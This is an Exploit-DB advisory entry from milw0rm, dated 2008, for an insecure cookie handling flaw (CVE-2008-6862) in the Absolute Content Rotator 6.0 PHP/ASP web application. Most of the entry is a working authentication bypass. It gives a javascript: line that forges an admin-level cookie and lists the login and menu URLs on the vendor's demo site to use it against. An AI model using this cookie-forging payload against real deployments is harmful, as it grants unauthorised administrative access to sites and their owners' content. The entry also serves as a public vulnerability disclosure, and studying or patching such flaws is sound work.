Absolute Content Rotator 6.0 Insecure Cookie Handling Vulnerability

2008-10-31T00:00:00
ID EDB-ID:6889
Type exploitdb
Reporter Hakxer
Modified 2008-10-31T00:00:00

Description

Absolute Content Rotator 6.0 Insecure Cookie Handling Vulnerability. CVE-2008-6862. Webapps exploit for php platform

                                        
                                            ###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

[~] Author : Hakxer
[~] Home : Www.educ-up.com
[~] Type Gap : Insecure Cookie Handling
[~] script : Absolute Content Rotator 6.0 [see script] http://www.xigla.com/absolutecr/demo.htm
[~] Team : EgY Coders 
#################################################################################################

Exploit : First go to http://www.xigla.com/absolutecr/demo/login.aspx
Second Execute 
[~] javascript:document.cookie="xlaACRDEMOuser=userid=1&lvl=1&s=";
Now Go to http://www.xigla.com/absolutecr/demo/menu.aspx


--- Proud To Be A Muslim ---

# _=END=_ # 

# milw0rm.com [2008-10-31]